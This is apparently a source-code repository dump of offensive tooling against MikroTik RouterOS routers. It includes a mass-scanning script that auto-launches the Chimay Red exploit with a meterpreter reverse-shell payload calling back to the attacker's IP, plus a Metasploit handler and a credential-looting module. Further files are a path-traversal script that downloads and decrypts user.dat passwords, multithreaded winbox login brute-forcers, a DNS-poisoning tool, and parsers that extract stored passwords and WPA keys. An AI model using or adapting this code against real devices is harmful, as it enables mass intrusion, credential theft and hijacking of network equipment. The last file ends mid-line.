├── historic ├── login.exp ├── winbox-login └── winbox-list-mt ├── msf ├── routeros_userdat.rc ├── routeros_userdat.rb └── chimayred-auto ├── mtparse ├── README ├── examples │ ├── mt-parse-ppp-secrets │ ├── mt-parse-address │ └── mt-parse-vpn └── mtparse.py ├── tools ├── winbox-parser.py ├── winbox-dl.py ├── multipoison.py └── useagent.py ├── README.md ├── wpf.py ├── poc ├── milo.py ├── getuserdat-new.py ├── getuserdat.py ├── getfile.py └── useagent.py ├── winbox ├── winbox-dl.py ├── useagent2.py └── winbox.py ├── readcdb.py ├── brute ├── dude-brute.py └── api-brute.py ├── winbox-brute-exe.py ├── btest-brute.py ├── winbox-brute.py └── winbox-extract-passwords.py /historic/login.exp: -------------------------------------------------------------------------------- 1 | #!/usr/bin/expect 2 | set timeout 10 3 | set ip [lindex $argv 0] 4 | 5 | spawn telnet $ip 6 | expect "'^]'." 7 | sleep .1 8 | 9 | expect "Login:" 10 | send "admin+t\r" 11 | expect "Password:" 12 | send "\r" 13 | expect " > " 14 | send "quit\r" 15 | 16 | 17 | -------------------------------------------------------------------------------- /msf/routeros_userdat.rc: -------------------------------------------------------------------------------- 1 | /root/.msf4/modules/post/linux/gather/routeros_userdat.rb 2 | 3 | use multi/handler 4 | set AutoRunScript post/linux/gather/routeros_userdat 5 | set ExitOnSession false 6 | set LHOST 0.0.0.0 7 | set LPORT 9876 8 | set PAYLOAD linux/mipsbe/meterpreter/reverse_tcp 9 | -------------------------------------------------------------------------------- /historic/winbox-login: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | LOG="out.log" 3 | 4 | [ "$2" == "" ] && exit 0 5 | 6 | host=$1 7 | user=$2 8 | pass=$3 9 | 10 | expect < " 9 | exit 0 10 | } 11 | 12 | [ "$2" == "" ] && usage 13 | 14 | if [ ! -f "$1" ]; then 15 | echo "Can't open file $1" 16 | exit 1 17 | fi 18 | 19 | for ip in $(cat "$1"); do 20 | while [ -f $THREADDIR/$PID ]; do 21 | if [ $PID -eq $MAXTHREADS ]; then 22 | PID=0 23 | fi 24 | sleep .25 25 | PID=$[$PID+1] 26 | done 27 | 28 | touch "$THREADDIR/$PID" 29 | { 30 | expect < 0: 15 | result = data[1:1 + data_len].decode('UTF-8') 16 | else: 17 | result = '' 18 | return result 19 | 20 | if len(sys.argv) < 2: 21 | print('Usage: %s ' % sys.argv[0]) 22 | exit(0) 23 | 24 | wpf = open(sys.argv[1], 'rb') 25 | data = wpf.read() 26 | 27 | for entry in data.split(M2)[1:]: 28 | psk1 = parse_str(entry, WPA_PSK) 29 | psk2 = parse_str(entry, WPA2_PSK) 30 | 31 | if psk1 != '': 32 | print(psk1) 33 | if psk2 != '': 34 | print(psk2) 35 | 36 | wpf.close() 37 | -------------------------------------------------------------------------------- /msf/routeros_userdat.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: https://metasploit.com/download Current source: 3 | # https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | class MetasploitModule < Msf::Post 7 | include Msf::Post::Linux::System 8 | 9 | def initialize(info={}) 10 | super( update_info( info, 11 | 'Name' => 'Linux Gather RouterOS Creds', 12 | 'Description' => %q{ 13 | This module downloads the credentials file from RouterOS file system. 14 | }, 15 | 'License' => MSF_LICENSE, 16 | 'Author' => 17 | [ 18 | 'jabberd <@jabberd>', 19 | ], 20 | 'Platform' => ['linux'], 21 | 'SessionTypes' => ['meterpreter'] 22 | )) 23 | end 24 | 25 | def run 26 | userdata = read_file('/nova/store/user.dat') 27 | loot_path = store_loot('mt.ros.user.dat', 'application/octet-stream', session, userdata) 28 | print_good("User credentials data saved to #{loot_path}") 29 | end 30 | end 31 | -------------------------------------------------------------------------------- /poc/milo.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from winbox.session import * 4 | 5 | import argparse 6 | 7 | port = 8291 8 | user = 'admin' 9 | password = '' 10 | 11 | def parse_args(): 12 | parser = argparse.ArgumentParser(description = 'description') 13 | parser.add_argument('-t', '--target', help = 'target host name', required = True) 14 | parser.add_argument('-u', '--user', help = 'user name', required = False) 15 | parser.add_argument('-p', '--password', action = 'store', nargs = '?', help = 'password') 16 | args = vars(parser.parse_args()) 17 | return args 18 | 19 | def run_milo(session): 20 | msg = mtMessage() 21 | msg.set_to(24, 10) 22 | msg.set_command(0xfe000e) 23 | msg.set_request_id(2) 24 | msg.set_session_id(session.session_id) 25 | msg.add_bool(1, False) 26 | msg.add_bool(2, False) 27 | msg.set_reply_expected(True) 28 | pkt = mtPacket(msg.build()) 29 | session.session.send(pkt) 30 | reply = session.session.recv(1024) 31 | result = mtMessage(reply.raw) 32 | result.parse() 33 | result.dump() 34 | 35 | if __name__ == "__main__": 36 | args = parse_args() 37 | if args['user']: 38 | user = args['user'] 39 | if args['password']: 40 | password = args['password'] 41 | target_port = args['target'].split(':') 42 | target = target_port[0] 43 | if len(target_port) == 2: 44 | port = int(target_port[1]) 45 | 46 | print('[*] Establishing a winbox session with %s:%s' % (target, port)) 47 | winbox = mtWinboxSession(target, port) 48 | if winbox.login_cleartext(user.encode(), password.encode()): 49 | print('[+] Logged into %s:%s' % (target, port)) 50 | else: 51 | print('[-] Login failed') 52 | winbox.close() 53 | exit(1) 54 | 55 | run_milo(winbox) 56 | winbox.close() 57 | -------------------------------------------------------------------------------- /winbox/winbox-dl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from winbox import * 4 | import argparse 5 | 6 | port = 8291 7 | user = 'admin' 8 | password = '' 9 | 10 | def parse_args(): 11 | parser = argparse.ArgumentParser(description='description') 12 | parser.add_argument('host', help = 'host name') 13 | parser.add_argument('filename', help = 'file name to download') 14 | parser.add_argument('-u', '--user', help = 'user name', required = False) 15 | parser.add_argument('-p', '--password', help = 'password', required = False) 16 | args = vars(parser.parse_args()) 17 | return args 18 | 19 | if __name__ == "__main__": 20 | args = parse_args() 21 | 22 | if args['user']: 23 | user = args['user'] 24 | if args['password']: 25 | password = args['password'] 26 | host_port = args['host'].split(':') 27 | host = host_port[0] 28 | if len(host_port) == 2: 29 | port = int(host_port[1]) 30 | filename = args['filename'] 31 | 32 | print('[*] Establishing a winbox session with %s:%s' % (host, port)) 33 | winbox = mtWinboxSession(host, port) 34 | #if winbox.login(user.encode(), password.encode()): 35 | if winbox.login_cleartext(user.encode(), password.encode()): 36 | print('[+] Logged into %s:%s' % (host, port)) 37 | else: 38 | print('[-] Login failed') 39 | winbox.close() 40 | exit(1) 41 | 42 | freq = mtFileRequest(winbox, filename.encode()) 43 | if not freq.request_download(): 44 | print('[-] File request failed [%s]' % (freq.error_description.decode())) 45 | winbox.close() 46 | exit(2) 47 | else: 48 | print('The "%s" file size is %s bytes' % (filename, freq.file_size)) 49 | 50 | f = open(filename, 'wb') 51 | print('[*] Starting a download') 52 | download_data = freq.download() 53 | print('Received %s bytes' % len(download_data)) 54 | f.write(download_data) 55 | f.close() 56 | winbox.close() 57 | -------------------------------------------------------------------------------- /poc/getuserdat-new.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import sys 4 | from winbox.session import * 5 | from winbox.filerequest import * 6 | 7 | TIMEOUT = 10 8 | USER_DAT_PATH = './.././.././.././.././../rw/store/user.dat' 9 | port = 8291 10 | 11 | def decrypt_password(user, pass_enc): 12 | key = hashlib.md5(user + b'283i4jfkai3389').digest() 13 | passw = '' 14 | for i in range(0, len(pass_enc)): 15 | passw += chr(pass_enc[i] ^ key[i % len(key)]) 16 | return passw.split('\x00')[0] 17 | 18 | def extract_user_pass_from_entry(entry): 19 | user_data = entry.split(b'\x01\x00\x00\x21')[1] 20 | pass_data = entry.split(b'\x11\x00\x00\x21')[1] 21 | user_len = user_data[0] 22 | pass_len = pass_data[0] 23 | username = user_data[1:1 + user_len] 24 | password = pass_data[1:1 + pass_len] 25 | return username, password 26 | 27 | def get_pair(data): 28 | user_list = [] 29 | entries = data.split(M2_HEADER)[1:] 30 | for entry in entries: 31 | try: 32 | user, pass_encrypted = extract_user_pass_from_entry(entry) 33 | except: 34 | continue 35 | pass_plain = decrypt_password(user, pass_encrypted) 36 | user = user.decode('ascii') 37 | user_list.append((user, pass_plain)) 38 | return user_list 39 | 40 | if __name__ == '__main__': 41 | if len(sys.argv) < 2: 42 | print('Usage: %s ' % sys.argv[0]) 43 | exit(0) 44 | 45 | host_port = sys.argv[1].split(':') 46 | host = host_port[0] 47 | if len(host_port) == 2: port = int(host_port[1]) 48 | try: 49 | session = mtWinboxSession(host, port, timeout = TIMEOUT) 50 | freq = mtFileRequest(session, USER_DAT_PATH.encode()) 51 | freq.request_download_list() 52 | user_dat = freq.download() 53 | except: 54 | session.close() 55 | exit(1) 56 | session.close() 57 | user_pass = get_pair(user_dat) 58 | for u, p in user_pass: 59 | print('%s\t%s\t%s' % (host, u, p)) 60 | -------------------------------------------------------------------------------- /tools/winbox-dl.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # https://github.com/jabb3rd/winbox 4 | from winbox.session import * 5 | from winbox.filerequest import * 6 | 7 | import argparse 8 | from getpass import getpass 9 | 10 | port = 8291 11 | user = 'admin' 12 | password = '' 13 | 14 | def parse_args(): 15 | parser = argparse.ArgumentParser(description = 'description') 16 | parser.add_argument('-H', '--host', help = 'host name', required = True) 17 | parser.add_argument('-f', '--filename', help = 'file name to download', required = True) 18 | parser.add_argument('-u', '--user', help = 'user name', required = False) 19 | parser.add_argument('-p', '--password', action = 'store', nargs = '?', help = 'password') 20 | args = vars(parser.parse_args()) 21 | return args 22 | 23 | if __name__ == "__main__": 24 | args = parse_args() 25 | print(args) 26 | if args['user']: 27 | user = args['user'] 28 | if args['password']: 29 | password = args['password'] 30 | print('password', repr(password)) 31 | elif args['password'] is None: 32 | print('None') 33 | host_port = args['host'].split(':') 34 | host = host_port[0] 35 | if len(host_port) == 2: 36 | port = int(host_port[1]) 37 | filename = args['filename'] 38 | 39 | print('[*] Establishing a winbox session with %s:%s' % (host, port)) 40 | winbox = mtWinboxSession(host, port) 41 | #if winbox.login(user.encode(), password.encode()): 42 | if winbox.login_cleartext(user.encode(), password.encode()): 43 | print('[+] Logged into %s:%s' % (host, port)) 44 | else: 45 | print('[-] Login failed') 46 | winbox.close() 47 | exit(1) 48 | 49 | freq = mtFileRequest(winbox, filename.encode()) 50 | if not freq.request_download(): 51 | print('[-] File request failed [%s]' % (freq.error_description.decode())) 52 | winbox.close() 53 | exit(2) 54 | else: 55 | print('The "%s" file size is %s bytes' % (filename, freq.file_size)) 56 | 57 | f = open(filename, 'wb') 58 | print('[*] Starting a download') 59 | download_data = freq.download() 60 | print('Received %s bytes' % len(download_data)) 61 | f.write(download_data) 62 | f.close() 63 | winbox.close() 64 | -------------------------------------------------------------------------------- /readcdb.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | import binascii, struct, sys 4 | 5 | if len(sys.argv) != 2: 6 | print('Usage %s ' % sys.argv[0]) 7 | exit(1) 8 | 9 | filename = sys.argv[1] 10 | 11 | # Addresses.cdb file signature 12 | signature = b'\x0d\xf0\x1d\xc0' 13 | 14 | # Block signature 15 | M2 = b'\x4d\x32' 16 | 17 | # Data types 18 | MT_DWORD = 0x08 19 | MT_BOOL_FALSE = 0x00 20 | MT_BOOL_TRUE = 0x01 21 | MT_ARRAY = 0x88 22 | MT_STRING = 0x21 23 | MT_BYTE = 0x09 24 | MT_BOOL = {MT_BOOL_FALSE: False, MT_BOOL_TRUE: True} 25 | 26 | # Addressbook field names 27 | ADDR_BOOK_FIELD = {1: 'host', 2: 'login', 3: 'password', 4: 'note', 6: 'session', 8: 'group', 11: 'romon-agent'} 28 | 29 | with open(filename, mode='rb') as file: 30 | content = file.read() 31 | 32 | ptr = 0 33 | if content[ptr:ptr+4] != signature: 34 | print('Bad signature in', filename) 35 | exit(1) 36 | 37 | ptr += 4 38 | block_no = 0 39 | while ptr < len(content): 40 | block_size = struct.unpack(' 0 and line[0] == '/') or len(line) == 0: 30 | section_end = True 31 | else: 32 | result.append(line) 33 | return result 34 | 35 | def list_sections(config): 36 | result = [] 37 | for line in config.split('\n'): 38 | if len(line) > 0: 39 | if line[0] == '/': 40 | result.append(line) 41 | return result 42 | 43 | def parse_line(line): 44 | result = [] 45 | key = '' 46 | keyword_found = False 47 | quote_found = False 48 | backslash_found = False 49 | 50 | line += '\n' 51 | 52 | for c in line: 53 | if keyword_found: 54 | if quote_found: 55 | key += c 56 | if backslash_found: 57 | backslash_found = False 58 | else: 59 | if c in '\\': 60 | backslash_found = True 61 | elif c in '"': 62 | result.append(key) 63 | key = '' 64 | quote_found = False 65 | else: 66 | if c in '"': 67 | key += c 68 | quote_found = True 69 | elif c in ' \n': 70 | result.append(key) 71 | key = '' 72 | keyword_found = False 73 | else: 74 | key += c 75 | else: 76 | if c not in ' \n': 77 | key += c 78 | keyword_found = True 79 | return result 80 | 81 | def line_dict(line): 82 | result = {} 83 | 84 | brackets_found = False 85 | brackets = {} 86 | 87 | for i in parse_line(line): 88 | k = i.split('=', 1) 89 | if not brackets_found: 90 | if len(k) == 1: 91 | if k[0] == '[': 92 | brackets_found = True 93 | else: 94 | l = len(result) 95 | if len(k[0]) > 0: 96 | result[l] = k[0] 97 | if len(k) == 2: 98 | result[k[0]] = k[1] 99 | else: 100 | if len(k) == 1: 101 | l = len(brackets) 102 | if k[0] == ']': 103 | if l > 1: 104 | l = len(result) 105 | result[l] = brackets 106 | brackets = {} 107 | brackets_found = False 108 | else: 109 | brackets[l] = k[0] 110 | if len(k) == 2: 111 | brackets[k[0]] = k[1] 112 | return result 113 | -------------------------------------------------------------------------------- /msf/chimayred-auto: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Masscan and curl settings 4 | SCANRATE=1000 5 | TIMEOUT=3 6 | MAX_TIMEOUT=10 7 | 8 | # Chimay Red settings 9 | BINARY_STORAGE="/root/mikrotik/binaries" 10 | ARCH="mipsbe" 11 | BINARY="www" 12 | LPORT=9876 13 | 14 | usage() { 15 | echo "Usage: $(basename $0) [ports]" 16 | exit 0 17 | } 18 | 19 | error() { 20 | echo "Error: $1" 21 | exit 1 22 | } 23 | 24 | # $1 = host:port 25 | ros_version() { 26 | curl --connect-timeout $TIMEOUT -m $MAX_TIMEOUT $1 2>/dev/null | grep -o '

[^<]*<\/h1>' | sed -E 's/<[/]?h1>//g' | grep 'RouterOS' | cut -d' ' -f2 | cut -c2- 27 | } 28 | 29 | get_external_ip() { 30 | echo $(dig +short myip.opendns.com @resolver1.opendns.com) 31 | } 32 | 33 | [ "$1" == "" ] && usage 34 | [ -f "$1" ] || error "file $1 doesn't exist" 35 | 36 | # Parse arguments 37 | SCANLIST="$1" 38 | [ "$2" == "" ] && PORTS=80 || PORTS="$2" 39 | 40 | results=$(mktemp) 41 | masscan -iL $SCANLIST -p$PORTS --banners -oG $results --rate $SCANRATE 42 | 43 | # host port 44 | hosts=$(grep 'Banner: RouterOS' $results | awk '{print $2":"$5}') 45 | _hosts=($hosts) 46 | hosts_found=${#_hosts[@]} 47 | echo -e "\nFound hosts with RouterOS: $hosts_found\n" 48 | rm $results 49 | 50 | # Multithreaded version scan 51 | THREADDIR=`mktemp -d` 52 | MAXTHREADS=50 53 | pid=1 54 | DELAY=0.1 55 | 56 | echo "[*] Getting RouterOS versions for the targets" 57 | targets=$(mktemp) 58 | for h in $hosts; do 59 | while [ -f $THREADDIR/$pid ]; do 60 | if [ $pid -eq $MAXTHREADS ]; then 61 | pid=0 62 | fi 63 | sleep $DELAY 64 | pid=$[$pid+1] 65 | done 66 | 67 | touch "$THREADDIR/$pid" 68 | { 69 | v=$(ros_version $h) 70 | echo "[*] Target = $h, version = $v" 71 | echo "$h:$v" >> $targets 72 | rm "$THREADDIR/$pid" 73 | } & 74 | done 75 | wait 76 | 77 | LHOST=$(get_external_ip) 78 | echo -e "\n[*] Setting LHOST=$LHOST LPORT=$LPORT\n" 79 | # host:port:version 80 | for t in $(cat $targets); do 81 | rhost=$(echo $t | cut -d: -f1) 82 | rport=$(echo $t | cut -d: -f2) 83 | version=$(echo $t | cut -d: -f3) 84 | 85 | if [ "$version" != "" ]; then 86 | good_version=$(echo $version | grep -vE '^5|^6\.4.|^6\.39|^6\.38\.[5-9]|rc') 87 | if [ "$good_version" != "" ]; then 88 | if [ -f "${BINARY_STORAGE}/${BINARY}.${version}.${ARCH}" ]; then 89 | echo "[+] Starting Chimay Red for $rhost:$rport (version = $good_version)" 90 | ChimayRedStackClash_mips_meterpreter.py $rhost $rport $BINARY_STORAGE/$BINARY.$version.$ARCH $LHOST $LPORT 91 | else 92 | echo "[-] The binary was not found (arch = $ARCH, binary = $BINARY, version = $good_version)" 93 | fi 94 | else 95 | echo "[-] Bad version: $version ($rhost:$rport)" 96 | fi 97 | else 98 | echo "[-] No version info has been found ($rhost:$rport)" 99 | fi 100 | done 101 | 102 | rm $targets 103 | -------------------------------------------------------------------------------- /tools/multipoison.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse, struct, time 4 | from multiprocessing import Pool 5 | from socket import * 6 | 7 | # https://github.com/jabb3rd/winbox 8 | from winbox.tcpsession import * 9 | from winbox.message import * 10 | from winbox.packet import * 11 | 12 | # Global variables 13 | targets = [] 14 | number_of_threads = 200 15 | winbox_port = 8291 16 | dns_port = 53 17 | poison_hostname = b'microsoft.com.' 18 | connect_timeout = 5 19 | 20 | def ip2dword(addr): 21 | return struct.unpack(" or --targets/-T to scan') 73 | exit(1) 74 | 75 | if args['threads']: 76 | number_of_threads = args['threads'] 77 | 78 | if args['port']: 79 | winbox_port = args['port'] 80 | 81 | if args['dns_port']: 82 | dns_port = args['dns_port'] 83 | 84 | if args['dns_server']: 85 | dns_server = args['dns_server'] 86 | 87 | if args['target'] and args['targets']: 88 | print('Please specify either --target/-t , or --targets/-T , but not both') 89 | exit(1) 90 | elif args['target']: 91 | targets.append(args['target']) 92 | number_of_threads = 1 93 | else: 94 | targetsfile = args['targets'] 95 | targets = read_targets(targetsfile) 96 | if targets is None: 97 | print('Error reading the targets file: %s' % targetsfile) 98 | exit(1) 99 | targets_count = len(targets) 100 | if targets_count < number_of_threads: 101 | number_of_threads = targets_count 102 | 103 | print('DNS Server to resolve: %s:%s' % (dns_server, dns_port)) 104 | print('[*] Starting with %s threads' % number_of_threads) 105 | pool = Pool(processes = int(number_of_threads)) 106 | results = pool.map(dns_poison, targets) 107 | pool.close() 108 | pool.join() 109 | print('[!] Finishing...') 110 | -------------------------------------------------------------------------------- /tools/useagent.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # https://www.tenable.com/cve/CVE-2019-3924 4 | # https://www.tenable.com/security/research/tra-2019-07 5 | 6 | import argparse 7 | from binascii import hexlify, unhexlify 8 | from codecs import decode 9 | 10 | # https://github.com/jabb3rd/winbox 11 | from winbox.agent import * 12 | 13 | # Resulting error codes 14 | EXIT_OK = 0 15 | EXIT_BAD = 1 16 | EXIT_ERROR = 2 17 | 18 | DEBUG = False 19 | proxy_port = 8291 20 | send = b'' 21 | receive = b'' 22 | udp = False 23 | netbios = False 24 | target_port = 80 25 | 26 | def parse_args(): 27 | parser = argparse.ArgumentParser(description='description') 28 | parser.add_argument('-X', '--proxy-host', help = 'Proxy host to connect to', required = True) 29 | parser.add_argument('-P', '--proxy-port', help = 'Winbox service port of a proxy (default = 8291)', required = False) 30 | parser.add_argument('-t', '--target-host', help = 'Target host IP address for sending a probe', required = True) 31 | parser.add_argument('-p', '--target-port', help = 'Target port to probe for (default = 80)', required = False) 32 | parser.add_argument('-s', '--send', help = 'Request data to send to a target', required = False) 33 | parser.add_argument('-r', '--receive', help = 'Regexp to match the response data', required = False) 34 | parser.add_argument('--send-hex', help = 'Request data to send to a target in hex', required = False) 35 | parser.add_argument('--receive-hex', help = 'Regexp to match the response data in hex', required = False) 36 | parser.add_argument('-u', '--udp', action = 'store_true', help = 'Use UDP probe instead of TCP', required = False) 37 | parser.add_argument('--netbios', action = 'store_true', help = 'Use NetBIOS probe', required = False) 38 | parser.add_argument('--debug', action = 'store_true', help = 'Display the debugging info', required = False) 39 | args = vars(parser.parse_args()) 40 | return args 41 | 42 | if __name__ == '__main__': 43 | args = parse_args() 44 | if args['udp']: 45 | udp = True 46 | if args['netbios']: 47 | if udp: 48 | print('Error: please don''t use both udp and netbios modes') 49 | exit(EXIT_ERROR) 50 | netbios = True 51 | proxy_host = args['proxy_host'] 52 | if args['proxy_port']: 53 | proxy_port = int(args['proxy_port']) 54 | target_host = args['target_host'] 55 | if args['target_port']: 56 | target_port = int(args['target_port']) 57 | if args['send'] and args['send_hex']: 58 | print('Error: use either --send -or --send-hex argument') 59 | exit(EXIT_ERROR) 60 | if args['send']: 61 | send = decode(args['send'], 'unicode_escape').encode() 62 | elif args['send_hex']: 63 | send = unhexlify(args['send_hex']) 64 | if args['receive'] and args['receive_hex']: 65 | print('Error: use either --receive -or --receive-hex argument') 66 | exit(EXIT_ERROR) 67 | if args['receive']: 68 | receive = decode(args['receive'], 'unicode_escape').encode() 69 | elif args['receive_hex']: 70 | receive = unhexlify(args['receive_hex']) 71 | if args['debug']: 72 | DEBUG = True 73 | print('Send:', repr(send), '\nReceive (regex):', repr(receive)) 74 | try: 75 | print('[*] Connecting to the agent %s:%s' % (proxy_host, proxy_port)) 76 | agent = mtAgent(proxy_host, proxy_port) 77 | except: 78 | print('[-] Error connecting to the agent') 79 | exit(EXIT_ERROR) 80 | print('[+] Successfully connected to the agent') 81 | if netbios: 82 | print('[*] Making a netbios probe to %s' % target_host) 83 | result = agent.netbios_probe(target_host) 84 | if result: 85 | print('[+] Netbios probe is OK') 86 | if DEBUG: 87 | agent.result.dump() 88 | exit(EXIT_OK) 89 | else: 90 | print('[-] Netbios probe has failed') 91 | if DEBUG: 92 | agent.result.dump() 93 | exit(EXIT_BAD) 94 | elif udp: 95 | print('[*] Making an UDP probe to %s:%s' % (target_host, target_port)) 96 | result = agent.udp_probe(target_host, target_port, send, receive) 97 | if result: 98 | print('[+] UDP probe is OK') 99 | if DEBUG: 100 | agent.result.dump() 101 | exit(EXIT_OK) 102 | else: 103 | print('[-] UDP probe has failed') 104 | if DEBUG: 105 | agent.result.dump() 106 | exit(EXIT_BAD) 107 | else: 108 | print('[*] Making a TCP probe to %s:%s' % (target_host, target_port)) 109 | result = agent.tcp_probe(target_host, target_port, send, receive) 110 | if result: 111 | print('[+] TCP probe is OK') 112 | if DEBUG: 113 | agent.result.dump() 114 | exit(EXIT_OK) 115 | else: 116 | print('[-] TCP probe has failed') 117 | if DEBUG: 118 | agent.result.dump() 119 | exit(EXIT_BAD) 120 | -------------------------------------------------------------------------------- /brute/dude-brute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse, binascii, struct, socket, hashlib, time 4 | from multiprocessing import Pool 5 | 6 | # https://github.com/jabberd/winbox 7 | from winbox.session import * 8 | 9 | results_filename = 'dude-brute.log' 10 | 11 | # Authorization result codes 12 | AUTH_GOOD = 0 13 | AUTH_BAD = 1 14 | AUTH_ERROR = 2 15 | AUTH_RESULT_CODES = ["GOOD", "BAD", "ERROR"] 16 | 17 | TIMEOUT = 5 18 | SLEEP_TIME = 0.5 19 | DEFAULT_CREDS = ('admin', '') 20 | DEBUG = False 21 | 22 | # Global variables 23 | targets = [] 24 | creds = [] 25 | number_of_threads = 200 26 | winbox_port = 8291 27 | stop_after_good = False 28 | log = False 29 | 30 | # Try to login using winbox and return the result 31 | def winbox_login(host, user, password): 32 | try: 33 | w = mtWinboxSession(host.encode(), int(winbox_port), timeout = TIMEOUT) 34 | try: 35 | if w.login_cleartext(user.encode(), password.encode()): 36 | print('\033[32m[+] %s %s %s [GOOD]\033[39m' % (host, user, password)) 37 | result = AUTH_GOOD 38 | else: 39 | print('[-] %s %s %s [BAD]' % (host, user, password)) 40 | result = AUTH_BAD 41 | except: 42 | print('[-] %s %s %s [ERROR]' % (host, user, password)) 43 | result = AUTH_ERROR 44 | except: 45 | print('[-] %s %s %s [ERROR]' % (host, user, password)) 46 | result = AUTH_ERROR 47 | try: 48 | w.close() 49 | except: 50 | pass 51 | time.sleep(SLEEP_TIME) 52 | return result 53 | 54 | def bruteforce(target): 55 | result = [] 56 | for u, p in creds: 57 | print('[*] Trying to connect to target: %s (%s:%s)' % (target, u, p)) 58 | code = winbox_login(target, u, p) 59 | result.append((target, u, p, code)) 60 | if code == AUTH_GOOD: 61 | if stop_after_good: 62 | return result 63 | if code == AUTH_ERROR: 64 | break 65 | return result 66 | 67 | def read_dictionary(filename): 68 | try: 69 | with open(filename) as f: 70 | dictionary = [d.strip() for d in f.readlines()] 71 | f.close() 72 | return dictionary 73 | except: 74 | return None 75 | 76 | def parse_dictionary(dict): 77 | result = [] 78 | for d in dict: 79 | try: 80 | login, password = d.split('\t') 81 | except: 82 | login = d 83 | password = '' 84 | result.append((login, password)) 85 | return result 86 | 87 | def read_targets(filename): 88 | try: 89 | with open(filename) as f: 90 | targets = [t.strip() for t in f.readlines()] 91 | f.close() 92 | return targets 93 | except: 94 | return None 95 | 96 | def parse_args(): 97 | parser = argparse.ArgumentParser(description='description') 98 | parser.add_argument('-d', '--dict', help = 'A dictionary file', required = False) 99 | parser.add_argument('-t', '--target', help = 'Single target hostname', required = False) 100 | parser.add_argument('-T', '--targets', help = 'Targets list filename', required = False) 101 | parser.add_argument('-n', '--threads', type = int, help = 'Number of threads for parallel processing', required = False) 102 | parser.add_argument('-p', '--port', type = int, help = 'Winbox port number', required = False) 103 | parser.add_argument('-S', '--stop-after-good', action = 'store_true', help = 'Stop login tries after good creds found for the target', required = False) 104 | parser.add_argument('--log', help = 'Write log file', required = False) 105 | parser.add_argument('--default', action = 'store_true', help = 'Try default credentials at first', required = False) 106 | parser.add_argument('--debug', action = 'store_true', help = 'Debug mode', required = False) 107 | return vars(parser.parse_args()) 108 | 109 | if __name__ == '__main__': 110 | results_file_opened = False 111 | args = parse_args() 112 | 113 | if not ((args['target'] or args['targets']) and (args['dict'] or args['default'])): 114 | print('Please specify --target/-t or --targets/-T to scan, and --dict/-d and/or --default') 115 | exit(1) 116 | 117 | if args['dict']: 118 | dictfile = args['dict'] 119 | dict = read_dictionary(dictfile) 120 | if dict is None: 121 | print('Error reading the dictionary file: %s' % dictfile) 122 | exit(1) 123 | creds = parse_dictionary(dict) 124 | if args['default']: 125 | creds.insert(0, DEFAULT_CREDS) 126 | 127 | if args['debug']: 128 | DEBUG = True 129 | 130 | if args['default']: 131 | if not args['dict']: 132 | creds = [DEFAULT_CREDS] 133 | 134 | if args['threads']: 135 | number_of_threads = args['threads'] 136 | 137 | if args['port']: 138 | winbox_port = args['port'] 139 | 140 | if args['target'] and args['targets']: 141 | print('Please specify either --target/-t , or --targets/-T , but not both') 142 | exit(1) 143 | elif args['target']: 144 | targets.append(args['target']) 145 | number_of_threads = 1 146 | else: 147 | targetsfile = args['targets'] 148 | targets = read_targets(targetsfile) 149 | if targets is None: 150 | print('Error reading the targets file: %s' % targetsfile) 151 | exit(1) 152 | targets_count = len(targets) 153 | if targets_count < number_of_threads: 154 | number_of_threads = targets_count 155 | 156 | if args['stop_after_good']: 157 | stop_after_good = True 158 | 159 | if args['log']: 160 | log = True 161 | log_filename = args['log'] 162 | log_file = open(log_filename, 'a') 163 | 164 | print('[*] Starting with %s threads' % number_of_threads) 165 | pool = Pool(processes = int(number_of_threads)) 166 | results = pool.map(bruteforce, targets) 167 | pool.close() 168 | pool.join() 169 | print('[!] Finishing...') 170 | 171 | print('\nGood results:\n=============') 172 | for r in results: 173 | for e in r: 174 | host, login, password, code = e 175 | if code == AUTH_GOOD: 176 | out = host + '\t' + login + '\t' + password 177 | print(out) 178 | if not results_file_opened: 179 | results_file = open(results_filename, 'a') 180 | results_file_opened = True 181 | results_file.write(out + '\n') 182 | if log: 183 | log_file.write(AUTH_RESULT_CODES[code] + '\t' + host + '\t' + login + '\t' + password + '\n') 184 | 185 | if results_file_opened: 186 | results_file.close() 187 | if log: 188 | log_file.close() 189 | -------------------------------------------------------------------------------- /winbox-brute-exe.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import argparse 4 | import subprocess 5 | import signal 6 | import time 7 | import os 8 | import threading 9 | from multiprocessing import Pool 10 | 11 | # Paths to used tools 12 | WINE_PATH = '/usr/bin/wine' 13 | WINBOX_PATH = '/root/bin/winbox.exe' 14 | TEMP_DIR = '/tmp' 15 | results_filename = 'winbox-brute.log' 16 | 17 | # Authorization result codes 18 | AUTH_GOOD = 0 19 | AUTH_BAD = 1 20 | AUTH_ERROR = 2 21 | AUTH_RESULT_CODES = ["GOOD", "BAD", "ERROR"] 22 | 23 | DEFAULT_CREDS = ('admin', '') 24 | 25 | # Global variables 26 | targets = [] 27 | creds = [] 28 | number_of_threads = 10 29 | stop_after_good = False 30 | log = False 31 | timeout = 60.0 32 | 33 | def terminate_process(p): 34 | if p.poll() is None: 35 | p.terminate() 36 | time.sleep(0.5) 37 | if p.poll() is None: 38 | os.kill(p.pid, signal.SIGTERM) 39 | 40 | 41 | # Try to login using winbox and return a result 42 | def open_winbox(host, login, password, timeout): 43 | process = subprocess.Popen([WINE_PATH, WINBOX_PATH, host, login, password], cwd = TEMP_DIR, stdout = subprocess.PIPE, stderr = subprocess.PIPE) 44 | pid = process.pid 45 | start_time = time.time() 46 | 47 | t = threading.Timer(timeout, terminate_process, [process]) 48 | 49 | try: 50 | t.start() 51 | 52 | while process.poll() is None: 53 | line = process.stdout.readline() 54 | if line == b'logged in!!!\n': 55 | duration = time.time() - start_time 56 | print('\033[32m[+] %s 